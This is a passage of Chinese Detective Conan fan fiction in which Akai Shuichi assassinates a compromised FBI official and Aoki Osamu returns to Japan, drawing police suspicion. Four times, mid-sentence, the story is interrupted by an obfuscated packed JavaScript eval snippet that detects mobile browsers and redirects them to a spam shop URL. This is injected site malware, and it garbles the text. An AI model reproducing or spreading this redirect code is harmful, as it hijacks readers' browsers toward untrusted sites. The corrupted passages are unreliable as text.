青木修这几天一直在抢救室和重症监护室之间不断地辗转来回,虽然在医护人员的精心照料下每次都能从鬼门关把人拉回来,但他的生命体征一直维持在一个非常低的水准上,并且十分不稳定,一天二十四小时根本猜不到他什么时候就会进抢救室。 “赤井先生!” 这天赤井秀一正在安全屋里暗中调查疗养院直属分部的资料,突然接到卡迈尔的电话。 这么多天下来,赤井秀一几乎都要免疫了,“青木修又进抢救室了?” “是的!刚刚医生又下了病危通知书!麻烦您现在过来一趟吧!” 病危通知书? 有一段时间没有听到过这个词了,想来这次应该是情况异常凶险,卡迈尔才会这么着急忙慌地给他打电话。 “你先别急,守在那里,我马上就过来。” 赤井秀一边说已经边有了动作,他关掉电脑,清除使用痕迹,一手拿起外套一手拿起车钥匙,大步流星跳上车直奔医院。 “赤井先生!” 卡迈尔原本坐在抢救室外的长椅上,听见脚步声后迅速回头,看见来人是赤井秀一之后直接从椅子上跳起来,眼睛发光,仿佛看见了救星。 “朱蒂跟你换班了?” 赤井秀一记得自己走之前还是朱蒂守在这里。 “朱蒂和詹姆斯先生一起去调查你交代的事情了。” 卡迈尔压低声音,凑到赤井秀一耳边低声说:“詹姆斯先生说已经有些眉目了。” “嗯,知道了。” 赤井秀一压下脸上所有的表情,不动声色地应声。 两人说话间,抢救室大门打开,医生的脸上戴着口罩,看不出来表情是好是坏。 “医生,还好吗?” “……病人恢复意识了。” 医生带来了一个好消息。 快三个星期了,青木修终于清醒过来了。 “我们判断应该是那些不明药物残留经过一段时间的代谢已经基本排出体内,病人的情况才有所好转,不过他的心脏受到的都是不可逆的伤害,并且他的生命水准并没有太明显的恢复,还需观察。” “好的,谢谢你们。” 这一次青木修不再是死气沉沉躺在病床上被毫无意识的推出来,护士贴心地帮他把病床靠背摇起来了一些,让他能够倚在病床上和赤井秀一说话。 “谢谢你,赤井秀一。” 赤井秀一摆摆手,示意他们之间可以不用这么客套,将近三个星期的折腾让青木修整个人消瘦了一大圈,病服像是直接兜在骨架上,已经有些不合身了。 青木修的眼窝有些凹陷下去,这个样子乍一看上去居然有了几分和赤井秀一一样的混血的味道。 赤井秀一一直对青木修的基因有几分好奇,但他知道现在不是说这个的时候。 “感觉还好吗?” 他把自己的注意力从青木修的脸上转移开。 “呃……” 他这句话把青木修问住了。 “目前……感觉还不错?” 青木修看看自己周围的医生护士,试探性地问。 他是用英语说出的这句话,一旁的医生闻言投来一道死亡凝视,吓得青木修立刻缩起脖子装鹌鹑。 赤井秀一见他才和自己说了几句话脸上就疲色难掩,便见好就收,让护士们先带他回病房休息,留下卡迈尔在医院守着,自己则是去找朱蒂和詹姆斯汇合。 “詹姆斯先生,卡迈尔说事情有些眉目了。” 詹姆斯没有否认,而是招手让赤井秀一来看摆在自己面前的笔记本。 上面正显示着疗养院直属分部的最高负责人的资料。 “……” 赤井秀一快速翻阅,挑挑眉,“他已经在这个位置上坐了十年?” 这明显有些不正常啊,一般来说FBI里哪个人手上有点权利之后不是绞尽脑汁往更高的位置上爬?怎么就他能老老实实在这个位置上待了十年一点动作都没有? “是啊,十年来功绩赫赫,这个分部在所有分部里能排上前五。” 朱蒂在一旁补充道。 “你打算怎么办?” 赤井秀一在组织里卧底这么久,行事风格如今难免沾上几分组织的影子。 闻言他眉目都冷了下来,“宁可错杀一千,也不放过一个。” 这话摆明了是要动用特殊手段直接把人除掉。 “秀一……” 朱蒂有些担心这样做会不会太鲁莽了。 “非常时期用非常办法。” 赤井秀一做出的决定鲜少有人能动摇,不过他也不会让这个负责人死得太不明不白,至少他做过的事情桩桩件件都应该被细数出来披露给FBI的其他人。 他并没有什么诸如“维护FBI颜面”的心理,当初加入FBI也不过是为了更好的寻找父亲。 “继续查他的行踪。” 丢下这句话,赤井秀一便回到自己的安全屋开始为行动做准备。 于他而言,最方便的行动方式还是使用狙击枪。 . 赤井秀一原本以为青木修的状态会随着他的意识回复越来越好,然而事实证明是他把事情想得太简单了。 青木修虽然人是清醒了过来,但在医院观察的这几天又让医生们发现了一个新的后遗症:头疼。 他会毫无预兆的开始产生剧烈的神经性头痛,严重时甚至会因为疼痛陷入昏迷。 这就很不好了,不知何时会陷入昏迷就像是一枚炸弹,横亘在青木修的康复之路上。 至少在赤井秀一真正准备对负责人动手之前,他就已经收到了不下于五次青木修被活生生疼昏过去的消息。 他也问过医生能不能给青木修使用一些特效止痛药,不过医生回答青木修是神经性头痛,止痛药并没有什么特别好的效果,长期使用反而有可能导致青木修对止疼药物产生成瘾性依赖。 赤井秀一只得作罢。 在正式行动之前,他安排卡迈尔利用病毒将提前准备好的资料发送到负责人的电脑上,然后在某个月黑风高的夜晚一枪把心急如焚摆弄电脑的负责人给爆了头。 赤井秀一透过瞄准镜看到红白色的脑浆缓缓从负责人的脑袋上流下来,确定他是活不了了,才背上枪离开现场。 深藏功与名。 整个FBI因为一个负责人的死炸开了锅。 他们的总部上司对此事非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14132663|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒,下令彻查负责人的所有档案。 不仅仅是因为对组织的渗透能力感到害怕,更因为这件事严重有损FBI的颜面。 他们总是把自己的颜面放在第一位考虑,更不要说一旁还有虎视眈眈的CIA。 除掉一个心头大患的赤井秀一想起萨罗信誓旦旦“你摆不平”的话语就觉得好笑。 谁说他需要摆平了? 直接除掉不就好了。 不得不承认,有时候组织“搞不定就除掉”的思路确实好用。 现在整个FBI的注意力都被负责人的死转移走,一时半会儿没人注意到他们小队的动作。 他现在终于能把精力转到青木修身上。 寻了一个好时间,赤井秀一来到医院,想趁着青木修精神状态还不错的时候好好和他聊一聊以后的安排。 “你气色好了很多。” 赤井秀一看着靠在病床上输液的青木修,经过多日的修养,他的脸上终于恢复了一丝血色,那双灰色的眼睛也重新变得亮晶晶。 “最近手上的事情忙完了?” “你怎么知道?” “卡迈尔把他知道的差不多都告诉我了。” 赤井秀一默默在心里给卡迈尔又记上一笔。 “忙完了,过来看看你。” 说起来赤井秀一还有些愧疚,当初是他提议要把人接过来,还向诸伏景光保证过一定能保障青木修的安全,结果没想到还是把人送进了医院。 “对了,你和苏格兰最近有没有联系?” “很少,他最近……似乎很忙。” 青木修显然没忘记之前赤井秀一对他透露过的事情,脸上闪过一丝担忧。 赤井秀一没有错过这一幕。 “接下来你打算怎么办?” “我……” 青木修撇过头,看着窗外,视线渐渐放空。 “我想回去……” 他始终还是放不下诸伏景光。 虽然心中早就有了答案,在听到青木修真正这么说的刹那赤井秀一还是叹了口气。 “不留下来吗?我们可以帮你制作一个假身份,以你的能力,留在这里生活不是问题。” “谢谢你,不过还是不用了。” 青木修委婉拒绝了赤井秀一的建议,“我曾经也以为这里会比那儿要更安全一些,不过现在看来也不一定。” 赤井秀一对此倒是颇为赞同,如今的世界,早就没有绝对安全的地方了。 “好的,我会想办法送你回去,只是可能需要一点时间。” “怎么了?” “当时带你回来的时候,我打过报告,现在你要走,自然还有一些……手续需要处理。” 他带着青木修来这里的时候,跟上级打的报告中有说明可以从青木修身上获取一些有关组织的情报,现在目的没有实现他就想走,自然有一些难度。 “是有关我的情报吧?” 青木修单是从赤井秀一的表情就能推断出来他在想什么、 “你们FBI从来不做没有回报的事情。” 看着赤井秀一略带讶异的脸,青木修轻笑一声,“你们想知道什么?我会把我知道的事情告诉你们。” 他知道赤井秀一和诸伏景光达成的交易,这么做也无非是想让赤井秀一在暗中能够多帮帮诸伏景光。 39.第 39 章 赤井秀一等到青木修状态恢复得更稳定一点之后,才带着人来给他做记录。 他起先还担心青木修会不会不太适应直面摄像机说话,不过事实证明是他多虑了。 即使有摄像机在一旁录像,青木修的表现也很自然。 他不知道的是,青木修早已习惯被架在实验室里的那些记录仪在场,这种记录对于他来说是家常便饭的事情。 原本是要上测谎仪做辅助鉴定,但赤井秀一想到青木修连组织里的测谎仪都能骗过,好像没有什么必要再使用这种普通测谎仪的必要了。 他愿意相信青木修。 “我出生在组织的实验室,至今不知道我的父母是谁……或许我压根就没有父母。” 青木修像是在跟记录员讲别人的故事一样平静,仿佛他口中的主角不是自己似的。 “一开始我被交给一对姓风谷的夫妇养在长野的实验中心里,后来他们不知道出了什么意外,据说是实验事故导致的死亡,就被转移到先生——也就是你们说的BOSS那里的实验中心了。” “你知道那个实验中心的位置吗?” 赤井秀一从来没想到青木修居然有离组织BOSS如此之近的时候。 “知道。” 青木修一字一顿地把BOSS的藏身之地说了出来,“就在鸟取县。” 赤井秀一的脸上难得出现了一些强烈的情绪变化。 什么叫得来全不费工夫?这就是。 “我在鸟取县的实验中心接受实验和训练,一直到四年前。” 他看向赤井秀一,“就是在加入威士忌小组的前一年,我获得了离开实验中心的资格,被琴酒安插进入组织的各个行动小组,负责暗中探查里面有没有卧底。” 赤井秀一了然,所以当初青木修会进入威士忌小组也不是琴酒的突发奇想,当初他们三个人在组织里风头正盛,像琴酒这样疑心病重的人肯定不会略过他们。 “琴酒交给我的职责并不是全然要查出卧底的身份以及来源,只要是有嫌疑的人都需要一并上报给他。” “那你有上报过吗?” 青木修点点头,“最开始的一些嫌疑人员都被我上报过了,但我当时并不非常认可琴酒的行事作风,所以在后来,对于一些仅仅是有嫌疑的成员,在没有明确的证据之前,我并没有把他们全部上报给琴酒。” 赤井秀一注意到在青木修的叙述中,“琴酒”被提及的概率很高。 “你和琴酒是什么关系?” “我们一起在鸟取的实验中心接受训练。” “琴酒也是实验体吗?” 青木修否定了这个猜测。 “他不是实验体,他只是组织领养的孤儿,专门培养成杀手为组织做事而已。” 他说完,像是又想起什么似的补充道:“他虽然不是实验体,但也被注射过组织研发出来的可以强化人体机能的药剂。” “也就是说他接受过改造对吗?” 这一次青木修没有否认,“用‘改造’这个词语来说比较恰当。” “那你知道组织里目前还有其他的实验体吗?” “很遗憾……” 青木修耸耸肩膀。“这一点我不太清楚……当初跟我同一批的实验体只活下来了我一个,至于其他的实验体,我只知道贝尔摩德。” 赤井秀一在组织时听过不少有关贝尔摩德的传言,“她也是实验体?” “差不多吧,”青木修边思考边回答赤井秀一的问题,“她的真实来历我也不太清楚,但是她目前是组织在延缓衰老这个方面最成功的实验品——至少从我有记忆起她就是你现在看到的模样了。” 赤井秀一忽然想起来一个问题,“或许有点冒昧,你现在有多大了?” “我?” 青木修好像从来没有被问道这个问题般的反应,他思考了一会儿才给赤井秀一答复。 “我没记错的话——应该有三十二岁了,有什么问题吗?” 何止是有问题!赤井秀一心想,问题大了去了好吗? 他上下打量青木修,对方看起来比自己还要小几岁的样子,怎么会比他们都要大?眼前这家伙看上去撑死了只有二十五,搞得他还一度以为组织使用童工。 既然青木修都已经三十二岁了,贝尔摩德怎么可能到现在看上去还是三十多岁的样子? 他一时间哽住了。 倒是青木修看着他的反应没忍住笑起来,“我应该比你大一些吧?” 赤井秀一颤颤巍巍比了个“二”。 大两岁啊……还好,青木修暗自庆幸,那他应该也没有比诸伏景光老太多……吧? “你看上去不太像三十二岁的人。” 过了好几分钟,赤井秀一才重新找回自己的声音。 “我曾经也被加入到贝尔摩德这个方向的实验中,不过她已经能够代表着组织在这个方面拥有相当成熟的技术了,后来这才改变了我的研究方向。” “你的研究方向?” “贝尔摩德的研究方向是延缓衰老,而有关我的研究方向是实现细胞的逆生长。” 赤井秀一深吸一口气,组织针对青木修的研究方向要比对贝尔摩德的听上去要疯狂得多。 “那他们在你的身上取得研究成果了吗?” “据说是有一些研究成果了,我的一部分细胞已经实现了逆生长。” 赤井秀一想知道的事情青木修都做到了知无不言言无不尽。 “话说回来,你知道组织是通过什么途径收养到这么多孤儿的吗?” 说了半天,话题又回到了最开始的地方。 本来赤井秀一只是抱着试一试的态度随口一问,没想到青木修真的知道一些内幕。 “组织在世界上的很多国家都有分部,与当地一些人以慈善为幌子建了不少孤儿院,里面的故而很多都是实验体和杀手的培养来源。” 也就是说,组织的真正势力可能比他们想象中的还要大。 “你知道自己在鸟取时的负责人叫什么名字吗?” “我不知道他的全名,只知道实验中心的人都称呼他为‘左山先生’,包括之前我在疗养院里那位名叫萨罗的实验员也这么称呼他。” 赤井秀一在平板上记下“左山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14149495|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”二字,并在上面画出一个圈作重点标记。 加入威士忌小组之后发生的事情赤井秀一差不多都知道,青木修便讲的很快,只是挑了点一些他觉得没必要保密、赤井秀一又不清楚的事情说。 青木修有意隐去他和诸伏景光之间的关系,赤井秀一清楚他不想把诸伏景光牵扯进来,也就没有挑明。 青木修感激地看了赤井秀一一眼。 谈话耗费了他不少精神,送走记录员后青木修便立刻靠回床头闭目养神。 “想好了要回去吗?” 他睁开眼,床前站着的是去而复返的赤井秀一。 “想好了。” 赤井秀一颔首,没有再多做挽留。 “医生说你明天就能出院了。” 青木修脸上划过一丝喜色。 “太好了。” 在医院住的他都要长蘑菇了! 赤井秀一却有些不太放心,“你的后遗症……” “我能忍,应该没事的。” 青木修早就习惯了疼痛,于他而言,忍痛是一件稀松平常的事情而已。 “有些病不是忍忍就能好的。” 赤井秀一对他的态度有些不赞同。 “那又能怎么办呢?” 青木修对此也很无奈,人的神经系统精密又复杂,谁知道组织对他做的那些实验到底是什么东西,又会带来怎样的后果。 “……” 赤井秀一嘴巴张张合合,却是一个字也没吐出来。 “所以啊……有些事情顺其自然就好了。” 青木修看上去比赤井秀一还要想得开。 “……飞机定在下个星期一。” 赤井秀一心想,还是跟诸伏景光说一声吧,这样让他也好有个准备。 青木修眉眼弯弯,满脸都写着高兴。 出院的那一天,青木修看上去状态前所未有的好。 他这副样子也让赤井秀一放心了不少,至少一切看起来都在往好的方向发展。 “再见了,赤井秀一!” 青木修在机场检票口与赤井秀一道别。 由于FBI后院起火,赤井秀一他们还没有把渗透进来的人全部清理干净,他一时半会儿也没办法帮青木修制作非常完整的假身份,只能说是能勉强把青木修送回去。 当然,青木修并不介意,只要能回去,怎么样都好,他有手有脚,就算回去之后生活可能会很艰难,但只要做事小心一些,总是能够避开组织的追捕活下去。 更何况,赤井秀一也告诉过他,萨罗在他当时出事之后就已经向这边的总部透露过他可能活不下去的消息,只要他不主动暴露,一时半会儿应该也没有什么人来找他的麻烦。 带着满心的期望,青木修回到了这片有诸伏景光在的土地上。 他现在的身份资料并不完善,因此也不能明目张胆去寻找诸伏景光,更何况,他深知“没有消息就是好消息”的道理,便也没有着急着去寻人。 青木修利用来之前赤井秀一交给他的钱,在东京勉强站稳脚跟,度过了一段没有控制,也没有监管的幸福时光。 40.第 40 章 “幸福”这个东西,对青木修来说似乎有些太遥远了。 他一开始也天真的以为没有了组织的监管和FBI的盯梢,他会过上和普通人无异的生活,但是这种快乐并没有持续太久。 他匆匆回国,赤井秀一给他制作的身份证明非常粗陋,只能最大限度的保证他安全回来,却没有办法帮助他在社会上找到一份赖以生存的正常工作。 至于明目张胆地去投简历? 青木修还没有傻到这种地步。 眼看着赤井秀一交给他的钱越来越少,青木修不得不选择到一些地下酒吧去打工,一边挣生活费一边在暗中寻找诸伏景光的踪迹。 但是打工的生活也并不容易,由于他脸上那道来自于诸伏景光的伤疤,青木修最常遇到的就是老板的无情拒绝和客人的投诉,以至于他常常更换工作,住处也飘忽不定。 好在青木修还算乐观,他对此倒是看得很开:至少他现在拥有一些自由。 这是他人生中第一次长久的体会“自由”是什么滋味的时刻。 他懂得知足常乐的道理,对现在的生活也没有太多不满,最多只是在遇到不讲理的客人被投诉的时候浅浅伤心一下下。 比起常常更换工作,青木修现在面临的更大问题是他的后遗症。 神经性头痛发作的频率越来越高,并且疼痛程度也在不断加剧,好几次他都直接昏倒在出租屋里不省人事。 鉴于此,他最近一段时间只得暂时停止工作,躲在出租屋里修养。 尽管他已经尽可能的避免出门,可是屋子里的储备粮总有吃完的时候。 眼看着家里的泡面见了底,青木修叹息一声,收拾好自己,抱着已经空掉的纸箱出门,准备重新采购一些存货。 为了避免招来不必要的麻烦,他甚至特意挑了晚上的时间,出门之后直奔二十四小时便利店。 还好,采购过程一切顺利。 他住的出租屋需要穿过几条小巷子,听着背后的人声,青木修拉起连帽衫,钻入小巷中。 距离回家还剩不到五分钟的路程,青木修忽然觉得一阵剧痛顺着脊椎爬上他的后脑! “啪啦——” 手里抱着的方便面滚落一地,青木修顾不上去捡,捂住半边脑袋,面色痛苦地扶着墙缓缓滑坐在地。 针刺般的疼痛在整个脑袋里爆炸开来,就连脸颊上的肌肉都因为疼痛开始抽搐。 “呃……” 眼前的视线逐渐变得模糊,青木修心中暗道不好,竭力想要靠着墙站起来,却试了很多次都没有成功。 嘭、嘭、嘭、嘭…… 他的心跳如鼓,如果有人在他身边就会发现青木修此刻面色红的不正常。 青木修能感觉到自己可以摄取到的氧气越来越少,他与大脑中的疼痛抗争许久,最终还是因为力竭而昏倒在地。 失去意识前的最后一秒,青木修只能祈祷千万不要有人发现自己。 . 松田阵平今天原本可以正常下班,但是同组的萩原研二不巧需要加班,他便留下来等萩原研二下班后一起回警察公寓。 “小阵平——” 顺利熬到下班的萩原研二蹦着勾上松田阵平的肩膀。 “下来啦hagi!你重死了!” 松田阵平抖掉萩原研二架在自己肩膀上的胳膊。 “要不是等你,我早就回家躺着了!” “知道知道!”萩原研二嬉皮笑脸地又凑上来,“谢谢我们小阵平等我一起下班~作为感谢,请你去喝酒怎么样啊?” 松田阵平想到自己第二天没有早班,便答应了萩原研二的邀请。 他俩找了一间僻静的居酒屋进了门。因为只是下班后的小酌,两人都还算克制,只是浅浅喝了几杯过个瘾。 “也不知道小降谷和景光他们俩怎么样了……” 酒勾起了松田阵平对好友的牵挂,他一手撑着下巴,一手摆弄着酒瓶盖,低声嘟囔。 萩原研二同样担忧着两位同期的近况,他们原是警校里最知心的朋友,奈何两人被抽去执行秘密任务,一别四五年一点消息都没有。 降谷零和诸伏景光两人当时并没有机会给他们解释自己的工作去向,执行秘密任务也不过是他们俩和班长伊达航的推断而已。 “对他们来说,没有消息就是好消息。” 萩原研二宽慰松田阵平,“说不定他们俩哪天就出现在我们面前了呢!” 闻言松田阵平握了握拳,把关节骨头捏得“咔啦”作响,“哼,等他们俩回来了我一定要好好揍他们一顿!一声不吭消失这么多年真是担心死人了!” 话虽这么说,但萩原研二知道等两人真的回来,松田阵平肯定舍不得下手揍人。 “放心,到时候我拉上班长一起帮你摁着。” 他仰头闷了一口酒,笑着赞同。 酒过三巡,两人结账出门。 此刻夜已经深了,两人便想着偷个懒走小路回家——他俩都住在警察公寓,还是邻居。 “这条路上黑漆漆的,这么久也不装个路灯。” 松田阵平打着哈欠向前走,同时还不忘回头拉着萩原研二。 “快点啦hagi,我都要困死……啊——!” 一声惨叫,松田阵平被不知名物体绊了个跟头。 “嘶……什么东西啊……” 他揉着屁股爬起来,低头在地上摸索着自己原本插在衣兜里的墨镜。 他摸着摸着,摸到了一个冰冰凉凉的东西。 手感不对啊…… 松田阵平顺着又摸了摸,在意识到自己摸到的是什么之后顿时像是触电般跳起来。 “怎么了小阵平?” 萩原研二察觉出他的异常,连忙紧追几步跟上来。 “有人。” 松田阵平声音很低,边说边摸出手机打开手电筒。 一只手出现在两人的视野里。 松田阵平顺着手向上移,一个人影跌倒在墙根下。 两人的酒瞬间醒了。 “怎么回事?” 萩原研二作势就要拿手机报警。 这时候松田阵平已经看到了人影前洒落一地的方便面。 他拦住萩原研二,“等等,应该不是恶性案子。” 萩原研二跟着瞅了几眼,也看到了散落的方便面。 “这人是……昏倒了?” 他边说边蹲下身子,伸出手贴在那人的颈侧摸了摸。 “还活着,应该只是晕倒了。” 两人松了一口气,抬手叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14157545|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了救护车。 . 青木修再睁眼时,看到的便是医院洁白的天花板。 他有些迟钝的坐起身,想要翻身下床。 “哎哎哎你别动!” 打水回来的萩原研二一进门就看到这一幕,连忙把杯子放下冲过来摁住青木修。 “医生说你有些营养不良,还打着针呢。” 青木修顺着他的视线看过去,这才注意到自己的手背上还连着一根针管。 “医生……这里是医院?” “不然呢?你昏倒在巷子里,是我们俩把你送来的。” 请完假的松田阵平也走了进来,帮萩原研二一把把人摁回病床。 “我是松田阵平,旁边这位是萩原研二,我们俩在巷子里发现了昏倒的你,这才叫了车把你送来警察医院。” “警察医院”这几个字成功刺激到青木修脆弱的神经,他作势就要起身。 “喂喂你这家伙怎么不听医嘱!” 松田阵平一秒破功,脸上的正经顿时消失不见。 “谢谢你们……我还是不麻烦你们了吧。” 青木修的表情看上去就是在苦笑。 他也想不通自己就是出门买个泡面怎么就会晕倒,还这么巧被两个警察捡到送来警察医院。 “麻烦什么?你先把针打完才不是给我们找麻烦呢!” 萩原研二手上的力道重了几分,他和松田阵平把人送来之后就没离开过,其间为了方便医生治疗也去找了这人的身份证明,但是找出来的东西除了能证明这人名叫青木修之外便再无其他。 纵使两个人不是搜查一课的人,多年的从警经验也能让他们意识到这个人的身份有问题。 不过鉴于他们同样没找到能证明青木修做了什么不该做的证据,二人并没有直接把人扣押,而是决定等青木修醒过来之后再做决定。 如今一看青木修这个反应,他们就算是再迟钝也能觉察出他的不对劲。 心虚。 萩原研二和松田阵平对视一眼,不约而同脸上挂上笑容,只是手上的力道又大了几分。 “倒也不是我们不想让你走,主要是医生不让,说你身体很不好,至少也要等吧营养针打完再走。” 这一点萩原研二倒是没说谎,只是把医生的原话进行转述。 “对啊,”松田阵平也跟着劝,“至少把针打完再走吧。” 青木修意识到如果自己再强烈要求离开只会引起眼前两名警察的怀疑,只好先答应下来。 “谢谢你们……” 他卸去挣扎起身的力道,顺势靠在病床上,一副安心打针的模样。 见成功把人劝住,松田阵平和萩原研二也松了手,各自搬来一把椅子坐在病床前。 “话说我们发现你的时候还看到了很多泡面,怪不得医生说你身体不好。” 青木修歉意一笑,“不好意思,给你们添麻烦了。” “不麻烦不麻烦,”萩原研二摆手,“我们本来就是警察,帮助别人是我们的职责。” “说起来我们还不知道你的名字呢。” 松田阵平状似随口一提。 “我叫青木修。” “哦……青木啊,”松田阵平眨眨眼睛,“你的脸是怎么回事?” 41.第 41 章 青木修的笑意僵在了脸上。 萩原研二注意到他的不自然,但选择假装没有看到。 “以前工作的时候不小心摔得。” 几秒后,青木修的表情恢复如常,随口诌了个理由准备应付过去。 “看起来挺严重呢……不会和你这次晕倒的原因一样吧?” 青木修赶忙顺着松田阵平给出的台阶把话顺下去。 “是啊,我身体一直不大好。” 松田阵平靠在椅子上,看着青木修的眼神逐渐幽深。 他只是试探一下,没想到青木修居然真的上钩了。 其他人或许会相信青木修的话,但对于正统警校出身的他俩来说,认出青木修脸颊上的伤疤是枪伤不过是看一眼的事情。 青木修没有说实话。 萩原研二和松田阵平迅速交换了一个眼神。 “那个……营养液打完了。” 青木修抬手指指挂在一边,已经空掉的输液瓶。 “哦哦,”松田阵平一脸恍然大悟的表情,“我这就去叫护士。” 他起身离开,留下萩原研二在这里看着青木修。 “我们也算是朋友了吧?” 萩原研二沉寂几秒之后忽然开口,搞得青木修一头雾水。 “嗯?” 见青木修不回话,萩原研二发出一个疑问音来引起他的注意。 “……也算是了吧。” 青木修心下叫苦,他原本不想和这两个警察再多有纠葛,可是对方已经把话说道这个份儿上,他要是再拒绝恐怕只会平白引起怀疑。 “你身体不好,以后少吃点泡面。” 松田阵平已经叫了护士进来拔针,顺□□代道。 “知道了,谢谢松……田。” 青木修本打算说:“谢谢松田警官”,在萩原研二别有深意的眼神注视下默默把“警官”两个字咽回肚子里。 “以后要是有什么需要帮忙的,就来找我们哦!” 在警察医院门口分开前,他俩拉着青木修交换了联系方式。 在转身后的刹那,青木修脸上的笑容消失不见,心说可千万不要再遇到你们俩了。 松田阵平和萩原研二站在原地看着青木修的身影消失在道路尽头,才有所动作。 “班长那边查的怎么样了?” 萩原研二掏出手机翻了翻邮箱,找到伊达航的邮件。 “已经查过了,‘青木修’这个人根本没有记录,就像是几个月前突然冒出来的人。” “你觉得世界上会有不留下痕迹的人吗?” 萩原研二咧嘴一笑,“就连小降谷和景光都还有我们记得,他难道会平白无故从地里冒出来不成?” 他们没有告诉青木修的是,警察医院的检查结果还补充了他的心脏里有东西,但不属于心脏支架。 这一点再加上青木修显得突兀的来历,已经足以引起两个人的怀疑。 虽然他们三个已经和降谷零、诸伏景光二人分别了很多年没有往来,但常年处在一线工作的人也会有一种直觉。 面对东京乃至整个国家居高不下的犯罪率,他们也隐隐能感觉出这一切的背后像是有人操控。 莫名其妙死亡的嫌疑人、查案查到一半突然断掉的线索,以及隐约向上指引的证据…… 这些东西无不在悄声告诉他们里面有内情。 虽然还不知道青木修到底和这些诡异的案子有没有关系,但他背后一定有其他势力是毫无疑问的。 “再查。” 松田阵平摸出一支烟点上,叼着烟摸索着手机。 “警察医院不是有监控吗?把他的正面照发给班长,让班长把他的照片输入到人像系统里。” 萩原研二正有此意,闻言和松田阵平一道折返,回到警察医院调取监控。 伊达航那边很快就有了答复,邀请两人今天下班之后到搜查一课一起看结果。 “没问题……” 松田阵平吸了口烟,突然想起什么似的问萩原研二,“你听说了吗?我们在警校的时候一起抓到的那个家伙,外狩一,死在监狱里了。” “外狩一?” 萩原研二在脑子里找了找才找出这个人的一点消息来,“你是说杀害景光父母的那个凶手?” “对,”松田阵平把烟灰弹掉,“我那天经过搜查一课,听到有人说他死在监狱里了。” 经过松田阵平这么一提醒,萩原研二顿时想起当初抓到外狩一的那一幕。 “那个家伙怎么会死?不是说他进监狱的时候做身体检查结果显示很健康吗?” “是啊,很健康。” 阳光有些刺眼,松田阵平从胸前掏出墨镜带上,“可是就是这样一个起码能活到九十岁的家伙,突发心脏病死在监狱里了。” 不能怪他俩太敏感,刚刚送走一个心脏有问题的青木修,立马提到一个突发心脏病的人,不得不让他们产生一些联想。 “晚上不是要去找班长吗?” 萩原研二勾搭上松田阵平的肩膀,“晚上去问问班长吧。” 两人带着一肚子的疑问上了一天的班,等到下班打卡之后便迫不及待地杀去了搜查一课直奔伊达航。 “班长!” “你们俩让我查的人有了点结果。” 伊达航把椅子一滑,给两人让出位置来。 “青木修这个名字我查过很多遍,都没有他的过往记录,除了五个月之前的一次入境记录。基本可以断定这个身份是人伪造的。” 萩原研二的眉眼压下来,俯身凑到电脑前查看伊达航的搜索结果。 “那人脸系统的比对呢?” 松田阵平还有些不死心。 伊达航一敲桌子,“这就是问题所在。” 萩原研二也不看电脑了,抬起头和松田阵平一起望向他。 “在青木修五个月前的入境记录之前,人脸比对结果有他的记录。” 伊达航滑回电脑前,打开另一份文件。 “实际上比对成功的结果并不多,绝大多数都只有一个侧脸。” 他把资料拖出来展示给两人。 “就像是有意避开监控似的。” 松田阵平摸着下巴,看过大多数的比对结果,得出结论。 “那怎么确定这些人就是他?” 萩原研二看着一张张青木修的侧脸照,不禁皱起眉头。 “让下结论的是这一段监控。” 伊达航另外打开一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173057|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视频文件。 “喏,你俩看吧。” 松田阵平和萩原研二重新凑回电脑跟前。 视频很短,只有五秒钟。 监控对着一条小路岔口,青木修似乎拉着一个人的胳膊正在说笑。 “这是……” 松田阵平和萩原研二一时间激动地说不出话。 哪怕被青木修拉住的人只是短暂地抬了一下头,露出了小半张脸,也不妨碍他们一眼就认出这个人。 是诸伏景光。 “居然是景光……” “他居然和景光认识?” 伊达航表示自己也很意外,“这个世界就是这么小。” 有时候他们遍寻不到的人,可能就在某个不经意的瞬间和自己擦肩而过。 “这样子就更不能轻易放过他了啊……” 松田阵平很快打定主意要缠上青木修。 